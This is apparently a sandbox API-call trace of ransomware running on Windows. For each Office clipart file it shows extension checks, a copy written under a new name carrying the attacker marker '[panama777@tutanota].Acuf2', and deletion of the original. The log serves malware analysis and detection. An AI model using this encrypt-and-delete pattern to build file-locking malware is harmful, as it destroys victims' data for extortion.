	[0257.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.015] lstrlenW (lpString=".xls") returned 4
	[0257.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.015] lstrlenW (lpString=".xlsx") returned 5
	[0257.015] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.015] lstrlenW (lpString=".ppt") returned 4
	[0257.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63
	[0257.015] lstrlenW (lpString=".zip") returned 4
	[0257.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.015] lstrlenW (lpString=".rar") returned 4
	[0257.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.015] lstrlenW (lpString=".bz2") returned 4
	[0257.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.015] lstrlenW (lpString=".7z") returned 3
	[0257.016] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63
	[0257.016] lstrlenW (lpString=".dbf") returned 4
	[0257.016] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63
	[0257.016] lstrlenW (lpString=".1cd") returned 4
	[0257.016] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63
	[0257.016] lstrlenW (lpString=".jpg") returned 4
	[0257.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63
	[0257.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63
	[0257.016] lstrlenW (lpString=".doc") returned 4
	[0257.016] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.016] lstrlenW (lpString=".docx") returned 5
	[0257.016] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.016] lstrlenW (lpString=".pdf") returned 4
	[0257.016] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.016] lstrlenW (lpString=".xls") returned 4
	[0257.016] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.016] lstrlenW (lpString=".xlsx") returned 5
	[0257.016] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.016] lstrlenW (lpString=".ppt") returned 4
	[0257.016] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63
	[0257.016] lstrlenW (lpString=".zip") returned 4
	[0257.016] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.016] lstrlenW (lpString=".rar") returned 4
	[0257.017] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.017] lstrlenW (lpString=".bz2") returned 4
	[0257.017] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.017] lstrlenW (lpString=".7z") returned 3
	[0257.017] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63
	[0257.017] lstrlenW (lpString=".dbf") returned 4
	[0257.017] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63
	[0257.017] lstrlenW (lpString=".1cd") returned 4
	[0257.017] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 63
	[0257.017] lstrlenW (lpString=".jpg") returned 4
	[0257.017] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.017] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0257.017] lstrlenW (lpString="BL00262_.WMF") returned 12
	[0257.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0257.020] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=2556) returned 1
	[0257.020] CloseHandle (hObject=0x29c) returned 1
	[0257.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x20
	[0257.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0257.021] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.021] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0257.207] GetLastError () returned 0x0
	[0257.207] ReadFile (in: hFile=0x29c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x9fc, lpOverlapped=0x0) returned 1
	[0257.277] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xa00, lpOverlapped=0x0) returned 1
	[0257.278] ReadFile (in: hFile=0x29c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.278] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0257.278] SetEndOfFile (hFile=0x354) returned 1
	[0257.278] CloseHandle (hObject=0x354) returned 1
	[0257.278] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.278] SetEndOfFile (hFile=0x29c) returned 1
	[0257.281] CloseHandle (hObject=0x29c) returned 1
	[0257.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.282] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf")) returned 1
	[0257.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63
	[0257.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63
	[0257.282] lstrlenW (lpString=".doc") returned 4
	[0257.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.282] lstrlenW (lpString=".docx") returned 5
	[0257.282] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.282] lstrlenW (lpString=".pdf") returned 4
	[0257.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.282] lstrlenW (lpString=".xls") returned 4
	[0257.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.282] lstrlenW (lpString=".xlsx") returned 5
	[0257.284] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.284] lstrlenW (lpString=".ppt") returned 4
	[0257.284] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63
	[0257.284] lstrlenW (lpString=".zip") returned 4
	[0257.284] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.284] lstrlenW (lpString=".rar") returned 4
	[0257.284] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.284] lstrlenW (lpString=".bz2") returned 4
	[0257.284] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.284] lstrlenW (lpString=".7z") returned 3
	[0257.284] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63
	[0257.284] lstrlenW (lpString=".dbf") returned 4
	[0257.285] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63
	[0257.285] lstrlenW (lpString=".1cd") returned 4
	[0257.285] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63
	[0257.285] lstrlenW (lpString=".jpg") returned 4
	[0257.285] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63
	[0257.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63
	[0257.285] lstrlenW (lpString=".doc") returned 4
	[0257.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.285] lstrlenW (lpString=".docx") returned 5
	[0257.285] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.285] lstrlenW (lpString=".pdf") returned 4
	[0257.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.285] lstrlenW (lpString=".xls") returned 4
	[0257.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.285] lstrlenW (lpString=".xlsx") returned 5
	[0257.285] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.285] lstrlenW (lpString=".ppt") returned 4
	[0257.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63
	[0257.285] lstrlenW (lpString=".zip") returned 4
	[0257.285] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.285] lstrlenW (lpString=".rar") returned 4
	[0257.285] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.285] lstrlenW (lpString=".bz2") returned 4
	[0257.285] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.285] lstrlenW (lpString=".7z") returned 3
	[0257.285] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63
	[0257.286] lstrlenW (lpString=".dbf") returned 4
	[0257.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63
	[0257.286] lstrlenW (lpString=".1cd") returned 4
	[0257.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 63
	[0257.286] lstrlenW (lpString=".jpg") returned 4
	[0257.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.286] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0257.286] lstrlenW (lpString="BL00265_.WMF") returned 12
	[0257.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0257.286] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=5752) returned 1
	[0257.286] CloseHandle (hObject=0x29c) returned 1
	[0257.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x20
	[0257.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0257.287] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.287] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0257.287] GetLastError () returned 0x0
	[0257.287] ReadFile (in: hFile=0x29c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1678, lpOverlapped=0x0) returned 1
	[0257.301] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1680, lpOverlapped=0x0) returned 1
	[0257.302] ReadFile (in: hFile=0x29c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.302] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0257.302] SetEndOfFile (hFile=0x354) returned 1
	[0257.302] CloseHandle (hObject=0x354) returned 1
	[0257.302] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.302] SetEndOfFile (hFile=0x29c) returned 1
	[0257.304] CloseHandle (hObject=0x29c) returned 1
	[0257.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.562] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf")) returned 1
	[0257.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63
	[0257.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63
	[0257.611] lstrlenW (lpString=".doc") returned 4
	[0257.611] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.611] lstrlenW (lpString=".docx") returned 5
	[0257.611] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.611] lstrlenW (lpString=".pdf") returned 4
	[0257.611] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.611] lstrlenW (lpString=".xls") returned 4
	[0257.611] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.611] lstrlenW (lpString=".xlsx") returned 5
	[0257.611] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.611] lstrlenW (lpString=".ppt") returned 4
	[0257.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63
	[0257.611] lstrlenW (lpString=".zip") returned 4
	[0257.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.611] lstrlenW (lpString=".rar") returned 4
	[0257.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.611] lstrlenW (lpString=".bz2") returned 4
	[0257.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.611] lstrlenW (lpString=".7z") returned 3
	[0257.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63
	[0257.611] lstrlenW (lpString=".dbf") returned 4
	[0257.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63
	[0257.612] lstrlenW (lpString=".1cd") returned 4
	[0257.612] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63
	[0257.612] lstrlenW (lpString=".jpg") returned 4
	[0257.612] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63
	[0257.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63
	[0257.612] lstrlenW (lpString=".doc") returned 4
	[0257.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.612] lstrlenW (lpString=".docx") returned 5
	[0257.612] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.612] lstrlenW (lpString=".pdf") returned 4
	[0257.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.612] lstrlenW (lpString=".xls") returned 4
	[0257.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.612] lstrlenW (lpString=".xlsx") returned 5
	[0257.612] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.612] lstrlenW (lpString=".ppt") returned 4
	[0257.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63
	[0257.612] lstrlenW (lpString=".zip") returned 4
	[0257.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.612] lstrlenW (lpString=".rar") returned 4
	[0257.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.612] lstrlenW (lpString=".bz2") returned 4
	[0257.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.612] lstrlenW (lpString=".7z") returned 3
	[0257.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63
	[0257.612] lstrlenW (lpString=".dbf") returned 4
	[0257.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63
	[0257.613] lstrlenW (lpString=".1cd") returned 4
	[0257.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63
	[0257.613] lstrlenW (lpString=".jpg") returned 4
	[0257.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.613] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0257.613] lstrlenW (lpString="BL00274_.WMF") returned 12
	[0257.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0257.634] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=4164) returned 1
	[0257.634] CloseHandle (hObject=0x218) returned 1
	[0257.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x20
	[0257.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0257.715] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.715] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0257.716] GetLastError () returned 0x0
	[0257.716] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1044, lpOverlapped=0x0) returned 1
	[0257.774] WriteFile (in: hFile=0x33c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1050, lpOverlapped=0x0) returned 1
	[0257.775] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.775] WriteFile (in: hFile=0x33c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0257.775] SetEndOfFile (hFile=0x33c) returned 1
	[0257.775] CloseHandle (hObject=0x33c) returned 1
	[0257.777] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.777] SetEndOfFile (hFile=0x328) returned 1
	[0257.779] CloseHandle (hObject=0x328) returned 1
	[0257.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.844] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf")) returned 1
	[0257.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63
	[0257.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63
	[0257.844] lstrlenW (lpString=".doc") returned 4
	[0257.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.844] lstrlenW (lpString=".docx") returned 5
	[0257.845] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.845] lstrlenW (lpString=".pdf") returned 4
	[0257.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.845] lstrlenW (lpString=".xls") returned 4
	[0257.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.845] lstrlenW (lpString=".xlsx") returned 5
